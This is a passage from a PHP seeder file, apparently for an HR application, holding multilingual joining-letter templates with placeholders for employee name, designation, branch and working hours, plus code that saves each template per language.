11,3 Em nenhum momento, você removerá quaisquer Informações Confidenciais do escritório sem permissão.

11,4 O seu dever de salvaguardar e não os desclos

Informações Confidenciais sobreviverão à expiração ou à rescisão deste Contrato e / ou do seu emprego com a Companhia.

11,5 Violação das condições desta cláusula irá torná-lo sujeito a demissão sumária sob a cláusula acima, além de qualquer outro remédio que a Companhia possa ter contra você em lei.

12. Notices

Os avisos podem ser conferidos por você à Empresa em seu endereço de escritório registrado. Os avisos podem ser conferidos pela Companhia a você no endereço intimado por você nos registros oficiais.

13. Aplicabilidade da Política da Empresa

A Companhia tem direito a fazer declarações de política de tempos em tempos relativos a matérias como licença de licença, maternidade

sair, benefícios dos empregados, horas de trabalho, políticas de transferência, etc., e pode alterar o mesmo de vez em quando a seu exclusivo critério.

Todas essas decisões de política da Companhia devem ser vinculativas para si e substituirão este Acordo nessa medida.

14. Direito / Jurisdição

Seu emprego com a Companhia está sujeito às leis do País. Todas as disputas estão sujeitas à jurisdição do Tribunal Superior

Gujarat apenas.

15. Aceitação da nossa oferta

Por favor, confirme sua aceitação deste Contrato de Emprego assinando e retornando a cópia duplicada.

Nós acolhemos você e estamos ansiosos para receber sua aceitação e para trabalhar com você.

Seu Sinceramente,

{app_name}

{data}

', 'ru' => '

Присоединение к письму

{date}

{ employee_name }

{address}

Тема: Назначение на должность {designation}

Уважаемый { employee_name },

Мы рады предложить Вам, позицию {designation} с { app_name } Компания на следующих условиях и

условия:

1. Начало работы

Ваше трудоустройство будет эффективным, начиная с { start_date }

2. Название должности

Ваш заголовок задания будет {designation}.

3. Зарплата

Ваши оклады и другие пособия будут установлены в соответствии с расписанием, изложенным в приложении 1 к настоящему.

4. Место размещения

Вы будете работать в { branch }. Вы, однако, можете работать в любом месте, которое компания имеет или может впоследствии приобрести.

5. Часы работы

Обычные рабочие дни-с понедельника по пятницу. Вы должны будете работать в течение таких часов, как это необходимо для надлежащего выполнения Ваших обязанностей перед компанией. Обычные рабочие часы-от { start_time } до { end_time }, и вы, как ожидается, будут работать не менее { total_hours } часов каждую неделю, и при необходимости в течение дополнительных часов в зависимости от вашего

ответственности.

6. Отпуск/Праздники

6.1 Вы имеете право на случайный отпуск продолжительностью 12 дней.

6.2 Вы имеете право на 12 рабочих дней оплачиваемого отпуска по болезни.

6.3 Компания в начале каждого года уведомляет об объявленных праздниках. 

7. Характер обязанностей

Вы будете выполнять все обязанности, присующие вам, и такие дополнительные обязанности, которые компания может призвать к вам, время от времени. Ваши конкретные обязанности изложены в приложении II к настоящему.

8. Свойство компании

Вы всегда будете поддерживать в хорошем состоянии имущество Компании, которое может быть доверено Вам для служебного пользования в течение

вашей занятости, и возвратит все это имущество Компании до отказа от вашего заряда, при отсутствии которого стоимость одного и того же имущества будет взыскана с Вас компанией.

9. Боровить/принять подарки

Вы не будете брать взаймы или принимать какие-либо деньги, подарки, вознаграждение или компенсацию за ваши личные доходы от или в ином месте под денежный долг любому лицу/клиенту, с которым у вас могут быть официальные сделки.

10. Прекращение

10.1 Ваше назначение может быть прекращено компанией без каких бы то ни было оснований, предоставляя Вам не менее [ Уведомление] месяцев, предшея уведомлению в письменной форме или окладе вместо них. Для целей этого положения заработная плата означает базовый оклад.

10.2 Вы можете прекратить свою трудовую деятельность с компанией без каких-либо причин, предоставляя не меньше, чем [ Employee Notice] months предварительное уведомление или оклад за несохраненный период, оставатся после корректировки отложенных листьев, как на сегодняшний день.

10.3 Компания оставляет за собой право прекратить вашу работу в суммарном порядке без какого-либо уведомления о сроке или увольнении, если у нее есть достаточные основания полагать, что вы виновны в проступке или халатности, или совершили какое-либо существенное нарушение договора, или причинило убытки Компании. 

10. 4 О прекращении вашей работы по какой бы то ни было причине вы вернетесь в Компании все имущество; документы, а 

бумаги, как оригинальные, так и их копии, включая любые образцы, литературу, контракты, записи, списки, чертежи, чертежи,

письма, заметки, данные и тому подобное; и Конфиденциальная информация, в вашем распоряжении или под вашим контролем, связанным с вашей работой или деловыми делами клиентов.   

11. Конфиденциальная информация

11. 1 Во время вашего трудоустройства с компанией Вы посвяте все свое время, внимание, умение максимально

Его бизнес. Вы не должны, прямо или косвенно, заниматься или ассоциировать себя с заинтересованными, занятым, занятым, или временем, или продолжать любой курс обучения, без предварительного разрешения Компани.заниматься каким-либо другим бизнесом или деятельностью или любой другой пост или работать неполный рабочий день или заниматься какой бы то ни было исследованием, без предварительного разрешения

Компания.

11.2 Вы всегда должны сохранять наивысшую степень конфиденциальности и хранить в качестве конфиденциальной записи, документы и другие 

Конфиденциальная информация, касающаяся бизнеса Компании, которая может быть вам известна или конфиденциальна любым способом, и Вы будете использовать такие записи, документы и информацию только в установленном порядке в интересах Компании. Для целей настоящей статьи "Конфиденциальная информация" означает информацию о бизнесе Компании и о ее клиентах, которая недоступна для широкой общественности и которая может быть изучилась Вами в ходе вашей работы. Это включает в себя:

но не ограничивается информацией, касающейся организации, ее списков клиентов, политики в области занятости, персонала и информации о продуктах Компании, процессах, включая идеи, концепции, прогнозы, технологии, руководства, чертеж, чертеж, 

спецификации, и все бумаги, резюме, записи и другие документы, содержащие такую Конфиденциальную Информацию.

11.3 В любое время вы не будете удалять конфиденциальную информацию из офиса без разрешения.

11.4 Ваш долг защищать и не отсосать

e Конфиденциальная информация выдержит срок действия или прекращения действия настоящего Соглашения и/или вашей работы с компанией.

11.5 Нарушение условий, изложенных в настоящем положении, приведет к тому, что в дополнение к любым другим средствам правовой защиты, которые компания может иметь против вас, в соответствии с вышеприведенным положением, вы можете получить краткое увольнение в соответствии с этим положением.

12. Замечания

Уведомления могут быть даны Вами Компании по адресу ее зарегистрированного офиса. Извещения могут быть даны компанией Вам по адресу, с которым вы в официальных отчетах.

13. Применимость политики компании

Компания вправе время от времени делать политические заявления по таким вопросам, как право на отпуск, материнство

отпуска, пособия для работников, продолжительность рабочего дня, трансферная политика и т.д. и время от времени могут изменяться исключительно по своему усмотрению.

Все такие принципиальные решения Компании являются обязательными для Вас и переопределяют это Соглашение в такой степени.

14. Регулирующий Право/юрисдикция

Ваше трудоустройство с компанией подпадает под действие законов страны. Все споры подлежат юрисдикции Высокого суда

Только Гуджарат.

15. Принятие нашего предложения

Пожалуйста, подтвердите свое согласие с этим Договором о занятости, подписав и возвращая дубликат копии.

Мы приветствуем Вас и надеемся на то, что Вы принимаете свое согласие и работаете с Вами.

Искренне Ваш,

{ app_name }

{date}

', 'tr' => '

Katılma Mektubu

{date}

{employee_name}

{address}

Konu: Kadroya randevu {designation}

Canım {employee_name},

konumunu size sunmaktan mutluluk duyuyoruz {designation} ile {app_name} Şirket aşağıdaki şartlarla ve

koşullar:

1. işe başlama

İşe alımınız şu tarihten itibaren etkili olacaktır {start_date}

2. İş unvanı

İş unvanınız olacak{designation}.

3. Maaş

Maaşınız ve diğer menfaatleriniz Programda belirtildiği gibi olacaktır 1, buraya.

4. Gönderme Yeri

adresinde yayınlanacaksınız {branch}. Ancak Şirketin sahip olduğu herhangi bir işyerinde çalışmanız gerekebilir veya

daha sonra edinebilir.

5. Çalışma saati

Normal çalışma günleri Pazartesiden Cumaya kadardır. için gerekli olan saatlerde çalışmanız istenecektir

Şirkete karşı görevlerinizi uygun şekilde yerine getirmek. Normal çalışma saatleri, {start_time} ile {end_time} ve sen

daha az çalışması beklenmiyor {total_hours} her hafta saat ve gerekirse, durumunuza bağlı olarak ek saatler

sorumluluklar.

6. İzin/Tatiller

6.1 12 gün izin hakkınız var.

6.2 12 iş günü ücretli hastalık izni hakkınız var.

6.3 Şirket, her yılın başında ilan edilen tatillerin bir listesini bildirecektir.

7. görevlerin niteliği

Görevinizin doğasında bulunan tüm görevleri ve şirket olarak bu tür ek görevleri elinizden gelen en iyi şekilde yerine getireceksiniz

zaman zaman performans göstermeniz için sizi çağırabilir. Özel görevleriniz, burada Çizelge IIde belirtilmiştir.

8. Şirket mülkiyeti

Görev süresince resmi kullanım için size emanet edilmiş olabilecek Şirket mallarını her zaman iyi durumda tutacaksınız

istihdamınızdan feragat etmeden önce bu tür tüm mülkleri Şirkete iade edecektir, aksi takdirde maliyet

aynı tutar Şirket tarafından sizden tahsil edilecektir.

9. Ödünç alma/hediye kabul etme

Kişisel kazançlarınız için kendinizden herhangi bir para, hediye, ödül veya tazminat ödünç almayacak veya kabul etmeyeceksiniz

resmi ilişkiler içinde olabileceğiniz herhangi bir kişiye/müşteriye karşı maddi yükümlülük altında.

10. Sonlandırma

10.1 Randevunuz Şirket tarafından size en az [Bildirim] ay öncesinden bildirimde bulunularak herhangi bir sebep göstermeksizin feshedilebilir

yazılı bildirim veya bunun yerine maaş. Bu maddenin amaçları doğrultusunda maaş, temel maaş anlamına gelir.

10.2 [Çalışan Bildirimi]nden daha az olmamak kaydıyla, Şirketteki çalışmanızı herhangi bir sebep göstermeden feshedebilirsiniz

ay önceden ihbar veya kaydedilmemiş dönem için maaş, tarih itibariyle bekleyen izinlerin ayarlanmasından sonra kalan.

10.3 Şirket, herhangi bir ihbar süresi veya fesih ödemesi olmaksızın iş akdinizi aniden feshetme hakkını saklı tutar

suiistimal veya ihmalden suçlu olduğunuza veya herhangi bir temel ihlalde bulunduğunuza inanmak için makul bir gerekçesi varsa

sözleşmeye veya Şirkete herhangi bir zarara neden oldu.

10. 4 Herhangi bir nedenle işinize son verildiğinde, tüm mal varlığınızı Şirkete iade edeceksiniz; belgeler ve

tüm numuneler, literatür, sözleşmeler, kayıtlar, listeler, çizimler, planlar dahil olmak üzere kağıt, hem orijinali hem de kopyaları,

mektuplar, notlar, veriler ve benzerleri; ve Gizli Bilgiler, sizin mülkiyetinizde veya kontrolünüz altında

İstihdam veya müşterilerin iş ilişkilerine.

11. Kesin bilgi

11. 1 Şirkette çalıştığınız süre boyunca tüm zamanınızı, dikkatinizi ve becerinizi elinizden gelenin en iyisini yapmaya adayacaksınız

onun işi. Doğrudan veya dolaylı olarak kendinizle ilişki kurmamalı veya ilişkilendirmemeli, bunlarla bağlantı kurmamalı, ilgilenmemeli, istihdam edilmemeli veya

Şirketin önceden izni olmaksızın herhangi bir eğitim kursuna devam etmeyin veya herhangi bir kursa devam etmeyin

faaliyetleri veya diğer herhangi bir görev veya yarı zamanlı çalışma veya önceden izin almaksızın herhangi bir eğitim kursuna devam etme

Şirket.

11.2 Her zaman en yüksek derecede gizliliği korumalı ve kayıtları, belgeleri ve diğer bilgileri gizli tutmalısınız.

Sizin tarafınızdan bilinebilecek veya herhangi bir şekilde size güvenilebilecek Şirketin işleriyle ilgili Gizli Bilgiler

ve bu tür kayıtları, belgeleri ve bilgileri yalnızca usulüne uygun olarak Şirketin çıkarları doğrultusunda kullanacaksınız. İçin

bu maddenin amaçları Gizli Bilgiler, Şirketin ve müşterilerinin işleri hakkında bilgi anlamına gelir

halka açık olmayan ve istihdamınız sırasında sizin tarafınızdan öğrenilebilecek olan. Bu içerir,

ancak bunlarla sınırlı olmamak üzere, kuruluşa ilişkin bilgiler, müşteri listeleri, istihdam politikaları, personel ve bilgiler

fikirler, kavramlar, projeksiyonlar, teknoloji, kılavuzlar, çizimler, tasarımlar dahil olmak üzere Şirketin ürünleri, süreçleri hakkında,

spesifikasyonlar ve bu tür Gizli Bilgileri içeren tüm belgeler, özgeçmişler, kayıtlar ve diğer belgeler.

11.3 Gizli Bilgileri hiçbir zaman izinsiz olarak ofisten çıkarmayacak mısınız?.

11.4 Koruma ve açıklamama göreviniz

e Gizli Bilgiler, bu Sözleşmenin sona ermesinden veya feshedilmesinden ve/veya Şirketteki istihdamınızdan sonra da geçerliliğini koruyacaktır.

11.5 Bu maddenin koşullarının ihlali, sizi herhangi bir ek olarak yukarıdaki madde uyarınca derhal işten çıkarmaya yükümlü kılacaktır

Şirketin kanunen size karşı sahip olabileceği diğer çareler.

12. Bildirimler

Tebligatlar tarafınızca Şirket in kayıtlı ofis adresine gönderilebilir. Bildirimler Şirket tarafından size şu adreste verilebilir

tResmi kayıtlarda sizin tarafınızdan bildirilen adres.

13. Şirket Politikasının Uygulanabilirliği

Şirket, izin hakkı, analık gibi konularda zaman zaman poliçe beyanı yapmaya yetkilidir

izinler, çalışanlara sağlanan faydalar, çalışma saatleri, transfer politikaları vb. ve tamamen kendi takdirine bağlı olarak zaman zaman değiştirebilir.

Şirketin tüm bu tür politika kararları sizin için bağlayıcı olacak ve bu Sözleşmeyi o ölçüde geçersiz kılacaktır.

14. Geçerli Yasa/Yargı Yetkisi

Şirkette istihdamınız Ülke yasalarına tabidir. Tüm ihtilaflar Yüksek Mahkemenin yargı yetkisine tabi olacaktır.

sadece Gujarat.

15. teklifimizin kabulü

Lütfen bu İş Sözleşmesini kabul ettiğinizi imzalayarak ve kopya kopyayı geri göndererek onaylayın.

Size hoş geldiniz diyor ve kabulünüzü almayı ve sizinle çalışmayı sabırsızlıkla bekliyoruz.

Saygılarımla,

{app_name}

{date}

', 'zh' => '

加盟信

{date}

{employee_name}

{address}

主题:任命 {designation}

亲爱的 {employee_name},

我们很高兴为您提供以下职位: {designation} 和 {app_name} 公司按照以下条款和

状况:

1. 开始就业

您的雇佣关系将在以下日期生效 {start_date}

2. 职称

您的职位名称将是{designation}.

3. 薪水

您的工资和其他福利将在附表 1 中列出,此处为.

4. 发帖地点

您将被发布在 {branch}. 但是,您可能需要在公司拥有的任何营业地点工作,或者

以后可能会获得.

5. 几小时的工作

正常工作日为周一至周五。您将需要在必要的时间内工作

正确履行您对公司的职责。正常工作时间是从 {start_time} 到 {end_time} 而你是

预计工作不少于 {total_hours} 每周几个小时,如有必要,根据您的情况还可以增加几个小时

责任.

6. 休假/节假日

6.1 您有权享受 12 天的事假.

6.2 您有权享受 12 个工作日的带薪病假.

6.3 公司应在每年年初公布已宣布的假期清单.

7. 职责性质

您将尽最大努力履行您职位固有的所有职责以及公司的其他职责

可能会不时要求您表演。您的具体职责在附表 II 中列出,以便.

8. 公司财产

您将始终保持公司财产的良好状态,这些财产可能会在工作期间委托给您用于正式使用

您的工作,并应在放弃您的职责之前将所有此类财产归还给公司,否则费用

公司将向您追回相同的费用.

9. 借用/接受礼物

您不会借用或接受任何金钱、礼物、奖励或补偿来获取个人利益或以其他方式安置自己

对可能与您有正式往来的任何人/客户承担金钱义务.

10. 终止

10.1 公司可以在至少 [通知] 个月之前向您发出无任何理由的终止您的任命

书面通知或工资代替。本条所称工资是指基本工资.

10.2 您可以无任何理由地终止与公司的雇佣关系,只需发出不少于[员工通知]

提前几个月通知或未保存期间的工资,在待休假调整后剩余,截至日期.

10.3 公司保留立即终止雇佣关系的权利,无需任何通知期或终止付款

如果有合理的理由相信您犯有不当行为或疏忽,或犯有任何根本违反

合同,或给公司造成任何损失.

10. 4 无论出于何种原因终止雇佣关系,您都应将所有财产归还给公司;文件,以及

纸张,原件和复印件,包括任何样品、文献、合同、记录、清单、图纸、蓝图,

信件、笔记、数据等;您拥有或控制下的与您的相关的机密信息

就业或客户商务事务.

11. 机密信息

11. 1 在您受雇于公司期间,您将尽最大努力投入全部时间、注意力和技能,

它的业务。您不得直接或间接地参与、联系、涉及、雇用或参与

未经公司事先许可,花时间或进行任何学习课程。从事任何其他业务或

未经雇主事先许可,从事任何活动或任何其他职位或兼职工作或进行任何学习课程

公司.

11.2 您必须始终保持最高程度的机密性,并对记录、文件和其他内容保密

您可能知道或通过任何方式向您透露的与公司业务相关的机密信息

您只能以符合公司利益的正式授权方式使用此类记录、文件和信息。为了

本条款的目的机密信息是指有关公司业务及其客户业务的信息

这是一般公众无法获得的,但您可以在工作过程中了解到。这包括,

但不限于与组织、其客户名单、雇佣政策、人员和信息有关的信息

关于公司的产品、流程,包括想法、概念、预测、技术、手册、绘图、设计,

规范以及包含此类机密信息的所有文件、简历、记录和其他文件.

11.3 未经许可,您不得在任何时候从办公室删除任何机密信息.

11.4 您有责任保护且不泄露

e 机密信息在本协议到期或终止和/或您与公司的雇佣关系到期或终止后仍然有效.

11.5 违反本条款的条件将使您根据上述条款承担立即解雇的责任,此外,

公司可能在法律上对您采取的其他补救措施.

12. 通知

您可以通过公司的注册办公地址向公司发出通知。公司可能会向您发出通知,地址为:

您在正式记录中透露的地址.

13. 公司政策的适用性

公司有权不时就休假、生育等事宜作出政策声明

休假、员工福利、工作时间、调动政策等,并可自行决定不时更改.

公司的所有此类政策决定均对您具有约束力,并在一定程度上优先于本协议.

14. 适用法律/司法管辖区

您在公司的雇佣关系须遵守国家/地区法律。所有争议均受高等法院管辖

仅限古吉拉特邦.

15. 接受我们的报价

请签署并返回副本以确认您接受本雇佣合同.

我们欢迎您并期待得到您的认可并与您合作.

此致,

{app_name}

{date}

', 'he' => '

מכתב הצטרפות

{date}

{employee_name}

{address}

נושא: מינוי לתפקיד של {designation}

יָקָר {employee_name},

אנו שמחים להציע לך את התפקיד של {designation} עם {app_name} החברה בתנאים הבאים ו

תנאים:

1. תחילת עבודה

העסקתך תהיה אפקטיבית, החל מהיום {start_date}

2. הגדרת תפקיד

שם התפקיד שלך יהיה{designation}.

3. שכר

השכר וההטבות האחרות שלך יהיו כמפורט בנספח 1, כאן ל.

4. מקום הפרסום

אתה תפורסם ב {branch}. עם זאת, ייתכן שתידרש לעבוד בכל מקום עסק שיש לחברה, או

עשוי לרכוש מאוחר יותר.

5. שעות עבודה

ימי העבודה הרגילים הם שני עד שישי. תידרש לעבוד במשך שעות הדרושות לצורך

מילוי נאות של חובותיך כלפי החברה. שעות העבודה הרגילות הן מ {start_time} ל {end_time} ואתה

צפוי לעבוד לא פחות מ {total_hours} שעות בכל שבוע, ובמידת הצורך לשעות נוספות בהתאם לבחירתך

אחריות.

6. עזיבה/חגים

6.1 אתה זכאי לחופשה מזדמנת של 12 ימים.

6.2 אתה זכאי ל-12 ימי עבודה של חופשת מחלה בתשלום.

6.3 החברה תודיע על רשימת חגים מוכרזים בתחילת כל שנה.

7. אופי התפקידים

תבצע כמיטב יכולתך את כל התפקידים הגלומים בתפקידך וחובות נוספות כמו החברה

עשוי לקרוא לך להופיע, מעת לעת. החובות הספציפיות שלך מפורטות בלוח הזמנים II כאן כדי.

8. רכוש החברה

תמיד תשמור על רכוש החברה במצב טוב, אשר עשוי להיות מופקד בידיך לשימוש רשמי במהלך

העסקתך, ותחזיר את כל הרכוש כאמור לחברה לפני ויתור על החיוב שלך, אם לא העלות

ממנו יגבו ממך על ידי החברה.

9. השאלת/קבלת מתנות

לא תלווה או תקבל שום כסף, מתנה, תגמול או פיצוי עבור הרווחים האישיים שלך או תציב את עצמך בדרך אחרת.

תחת התחייבות כספית לכל אדם/לקוח שעמו אתה עשוי לנהל עסקאות רשמיות.

10. סיום

10.1 ניתן לסיים את מינויך על ידי החברה, ללא כל סיבה, על ידי מתן הודעה לא פחות מ[הודעה] חודשים לפני כן.

הודעה בכתב או משכורת במקומה. לעניין סעיף זה, שכר משמעו שכר יסוד.

10.2 אתה רשאי לסיים את העסקתך בחברה, ללא כל סיבה, על ידי מתן לא פחות מ[הודעת עובד]

חודשי הודעה מוקדמת או משכורת לתקופה שלא נחסכה, שנותרה לאחר התאמת חופשות ממתינות, לפי התאריך.

10.3 החברה שומרת לעצמה את הזכות לסיים את העסקתך באופן סופי ללא כל תקופת הודעה מוקדמת או תשלום פיטורין

אם יש לו יסוד סביר להאמין שאתה אשם בהתנהגות בלתי הולמת או ברשלנות, או שביצעת הפרה יסודית כלשהי של

חוזה, או גרם להפסד כלשהו לחברה.

10. 4 עם סיום העסקתך מכל סיבה שהיא, תחזיר לחברה את כל הרכוש; מסמכים, ו

נייר, הן מקור והעתקים שלו, לרבות כל דוגמאות, ספרות, חוזים, רשומות, רשימות, שרטוטים, שרטוטים,

מכתבים, הערות, נתונים וכדומה; ומידע סודי, הנמצא ברשותך או בשליטתך, המתייחס לרשותך

תעסוקה או עניינים עסקיים של לקוחות.

11. מידע מסווג

11. 1 במהלך עבודתך בחברה תקדיש את כל זמנך, תשומת הלב והמיומנות שלך כמיטב יכולתך למען

העסק שלה. אין, במישרין או בעקיפין, לעסוק או לקשר את עצמך, להיות קשור, מודאג, מועסק, או

זמן או להמשיך כל מסלול לימודים שהוא, ללא אישור מראש של החברה. העוסקת בכל עסק אחר או

פעילות או כל משרה אחרת או עבודה במשרה חלקית או להמשיך בכל מסלול לימודים שהוא, ללא אישור מראש של

חֶברָה.

11.2 עליך תמיד לשמור על רמת הסודיות הגבוהה ביותר ולשמור בסודיות את הרשומות, המסמכים ועוד.

מידע סודי המתייחס לעסקים של החברה אשר עשוי להיות ידוע לך או נסתר לך בכל אמצעי

ואתה תשתמש ברשומות, במסמכים ובמידע כאמור רק באופן מורשה כדין לטובת החברה. ל

המטרות של סעיף זה מידע סודי פירושו מידע על עסקי החברה ושל לקוחותיה

שאינו זמין לציבור הרחב ואשר עשוי להילמד על ידך במהלך העסקתך. זה כולל,

אך לא מוגבל למידע הנוגע לארגון, רשימות הלקוחות שלו, מדיניות העסקה, כוח אדם ומידע

על מוצרי החברה, תהליכים כולל רעיונות, קונספטים, תחזיות, טכנולוגיה, מדריכים, ציור, עיצובים,

מפרטים, וכל הניירות, קורות החיים, הרשומות ומסמכים אחרים המכילים מידע סודי כאמור.

11.3 בשום זמן לא תסיר כל מידע סודי מהמשרד ללא רשות.

11.4 חובתך לשמור ולא לחשוף

מידע סודי ישרוד את תפוגה או סיומו של הסכם זה ו/או העסקתך בחברה.

11.5 הפרת תנאי סעיף זה תגרום לך לדין לפיטורים על הסף על פי הסעיף לעיל בנוסף לכל

סעד אחר שייתכן שיש לחברה נגדך בחוק.

12. הודעות

הודעות עשויות להימסר על ידך לחברה בכתובת משרדה הרשום. ייתכן שהחברה תמסור לך הודעות בכתובת

הכתובת שצוינה על ידך ברישומים הרשמיים.

13. תחולת מדיניות החברה

החברה תהיה רשאית להצהיר מעת לעת הצהרות מדיניות הנוגעות לעניינים כמו זכאות לחופשה, לידה

חופשה, הטבות לעובדים, שעות עבודה, פוליסות העברה וכו, ועשויות לשנות אותן מעת לעת לפי שיקול דעתה הבלעדי.

כל החלטות מדיניות כאלה של החברה יחייבו אותך ויעקפו את הסכם זה במידה זו.

14. חוק / סמכות שיפוט

העסקתך בחברה כפופה לחוקי המדינה. כל המחלוקות יהיו כפופות לסמכותו של בית המשפט העליון

גוג אראט בלבד.

15. קבלת ההצעה שלנו

אנא אשר את הסכמתך לחוזה העסקה זה על ידי חתימה והחזרת העותק הכפול.

אנו מברכים אותך ומצפים לקבל את קבלתך ולעבוד איתך.

בכבוד רב,

{app_name}

{date}

', 'pt-br' => '

Carta De Adesão

{data}

{employee_name}

{address}

Assunto: Nomeação para o cargo de {designation}

Querido {employee_name},

Temos o prazer de oferecê-lo, a posição de {designation} com {app_name} a Empresa nos seguintes termos e

condições:

1. Comentamento do emprego

Seu emprego será efetivo, a partir de {start_date}

2. Título do emprego

Seu cargo de trabalho será {designation}.

3. Salário

Seu salário e outros benefícios serão conforme estabelecido no Planejamento 1, hereto.

4. Local de postagem

Você será postado em {branch}. Você pode, no entanto, ser obrigado a trabalhar em qualquer local de negócios que a Empresa tenha, ou possa posteriormente adquirir.

5. Horas de Trabalho

Os dias normais de trabalho são de segunda a sexta-feira. Você será obrigado a trabalhar por tais horas, conforme necessário para a quitação adequada de suas funções para a Companhia. As horas de trabalho normais são de {start_time} para {end_time} e você deve trabalhar não menos de {total_horas} horas semanais, e se necessário para horas adicionais dependendo do seu

responsabilidades.

6. Leave / Holidays

6,1 Você tem direito a licença casual de 12 dias.

6,2 Você tem direito a 12 dias úteis de licença remunerada remunerada.

6,3 Companhia notificará uma lista de feriados declarados no início de cada ano. 

7. Natureza dos deveres

Você irá executar ao melhor da sua habilidade todos os deveres como são inerentes ao seu cargo e tais deveres adicionais como a empresa pode ligar sobre você para executar, de tempos em tempos. Os seus deveres específicos são estabelecidos no Hereto do Planejamento II.

8. Propriedade da empresa

Você sempre manterá em bom estado propriedade Empresa, que poderá ser confiada a você para uso oficial durante o curso de

o seu emprego, e devolverá toda essa propriedade à Companhia antes de abdicar de sua acusação, falhando qual o custo do mesmo será recuperado de você pela Companhia.

9. Borremir / aceitar presentes

Você não vai pedir empréstimo ou aceitar qualquer dinheiro, presente, recompensa ou indenização por seus ganhos pessoais de ou de outra forma colocar-se sob obrigação pecuniária a qualquer pessoa / cliente com quem você pode estar tendo relações oficiais.

10. Terminação

10,1 Sua nomeação pode ser rescindida pela Companhia, sem qualquer razão, dando-lhe não menos do que [aviso] meses de aviso prévio por escrito ou de salário em lieu deste. Para efeito da presente cláusula, o salário deve significar salário base.

10,2 Você pode rescindir seu emprego com a Companhia, sem qualquer causa, ao dar nada menos que [Aviso de contratação] meses de aviso prévio ou salário para o período não salvo, deixado após ajuste de folhas pendentes, conforme data de encontro.

10,3 Empresa reserva-se o direito de rescindir o seu emprego sumariamente sem qualquer prazo de aviso ou de rescisão se tiver terreno razoável para acreditar que você é culpado de má conduta ou negligência, ou tenha cometido qualquer violação fundamental de contrato, ou tenha causado qualquer perda para a Empresa. 

10. 4 Sobre a rescisão do seu emprego por qualquer motivo, você retornará para a Empresa todos os bens; documentos e 

papel, tanto originais como cópias dos mesmos, incluindo quaisquer amostras, literatura, contratos, registros, listas, desenhos, plantas,

cartas, notas, dados e semelhantes; e Informações Confidenciais, em sua posse ou sob seu controle relacionado ao seu emprego ou aos negócios de negócios dos clientes.   

11. Informações Confidenciais

11. 1 Durante o seu emprego com a Companhia você irá dedicar todo o seu tempo, atenção e habilidade para o melhor de sua capacidade de

o seu negócio. Você não deve, direta ou indiretamente, se envolver ou associar-se com, estar conectado com, preocupado, empregado, ou tempo ou prosseguir qualquer curso de estudo, sem a permissão prévia do Company.engajado em qualquer outro negócio ou atividades ou qualquer outro cargo ou trabalho parcial ou prosseguir qualquer curso de estudo, sem a permissão prévia do

Empresa.

11,2 É preciso manter sempre o mais alto grau de confidencialidade e manter como confidenciais os registros, documentos e outros 

Informações confidenciais relativas ao negócio da Companhia que possam ser conhecidas por você ou confiadas em você por qualquer meio e utilizarão tais registros, documentos e informações apenas de forma devidamente autorizada no interesse da Companhia. Para efeitos da presente cláusula "Informações confidenciais" significa informação sobre os negócios da Companhia e a dos seus clientes que não está disponível para o público em geral e que poderá ser aprendida por você no curso do seu emprego. Isso inclui,

mas não se limita a, informações relativas à organização, suas listas de clientes, políticas de emprego, pessoal, e informações sobre os produtos da Companhia, processos incluindo ideias, conceitos, projeções, tecnologia, manuais, desenho, desenhos, 

especificações, e todos os papéis, currículos, registros e outros documentos que contenham tais Informações Confidenciais.

11,3 Em nenhum momento, você removerá quaisquer Informações Confidenciais do escritório sem permissão.

11,4 O seu dever de salvaguardar e não os desclos

Informações Confidenciais sobreviverão à expiração ou à rescisão deste Contrato e / ou do seu emprego com a Companhia.

11,5 Violação das condições desta cláusula irá torná-lo sujeito a demissão sumária sob a cláusula acima, além de qualquer outro remédio que a Companhia possa ter contra você em lei.

12. Notices

Os avisos podem ser conferidos por você à Empresa em seu endereço de escritório registrado. Os avisos podem ser conferidos pela Companhia a você no endereço intimado por você nos registros oficiais.

13. Aplicabilidade da Política da Empresa

A Companhia tem direito a fazer declarações de política de tempos em tempos relativos a matérias como licença de licença, maternidade

sair, benefícios dos empregados, horas de trabalho, políticas de transferência, etc., e pode alterar o mesmo de vez em quando a seu exclusivo critério.

Todas essas decisões de política da Companhia devem ser vinculativas para si e substituirão este Acordo nessa medida.

14. Direito / Jurisdição

Seu emprego com a Companhia está sujeito às leis do País. Todas as disputas estão sujeitas à jurisdição do Tribunal Superior

Gujarat apenas.

15. Aceitação da nossa oferta

Por favor, confirme sua aceitação deste Contrato de Emprego assinando e retornando a cópia duplicada.

Nós acolhemos você e estamos ansiosos para receber sua aceitação e para trabalhar com você.

Seu Sinceramente,

{app_name}

{data}

', ]; foreach($defaultTemplate as $lang => $content) { JoiningLetter::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => 2, ] ); } } public static function defaultJoiningLetterRegister($user_id) { $defaultTemplate = [ 'ar' => '

خطاب الانضمام

{date}

{employee_name}

{address}

الموضوع: موعد لوظيفة {designation}

عزيزي {employee_name} ،

يسعدنا أن نقدم لك منصب {designation} مع {app_name} "الشركة" وفقًا للشروط التالية و

الظروف:

1. بدء العمل

سيصبح عملك ساريًا اعتبارًا من {start_date}

2. المسمى الوظيفي

سيكون المسمى الوظيفي الخاص بك هو {designation}.

3. الراتب

سيكون راتبك والمزايا الأخرى على النحو المبين في الجدول 1 ، طيه.

4. مكان الإرسال

سيتم إرسالك إلى {branch}. ومع ذلك ، قد يُطلب منك العمل في أي مكان عمل تمتلكه الشركة ، أو

قد تحصل لاحقًا.

5. ساعات العمل

أيام العمل العادية هي من الاثنين إلى الجمعة. سيُطلب منك العمل لساعات حسب الضرورة لـ

أداء واجباتك على النحو الصحيح تجاه الشركة. ساعات العمل العادية من {start_time} إلى {end_time} وأنت

من المتوقع أن يعمل ما لا يقل عن {total_hours} ساعة كل أسبوع ، وإذا لزم الأمر لساعات إضافية اعتمادًا على

المسؤوليات.

6. الإجازة / العطل

6.1 يحق لك الحصول على إجازة غير رسمية مدتها 12 يومًا.

6.2 يحق لك الحصول على إجازة مرضية مدفوعة الأجر لمدة 12 يوم عمل.

6.3 تخطر الشركة بقائمة الإجازات المعلنة في بداية كل عام.

7. طبيعة الواجبات

ستقوم بأداء أفضل ما لديك من واجبات متأصلة في منصبك ومهام إضافية مثل الشركة

قد يدعوك لأداء ، من وقت لآخر. واجباتك المحددة منصوص عليها في الجدول الثاني بهذه الرسالة.

8. ممتلكات الشركة

ستحافظ دائمًا على ممتلكات الشركة في حالة جيدة ، والتي قد يتم تكليفك بها للاستخدام الرسمي خلال فترة عملها

عملك ، ويجب أن تعيد جميع هذه الممتلكات إلى الشركة قبل التخلي عن الرسوم الخاصة بك ، وإلا فإن التكلفة

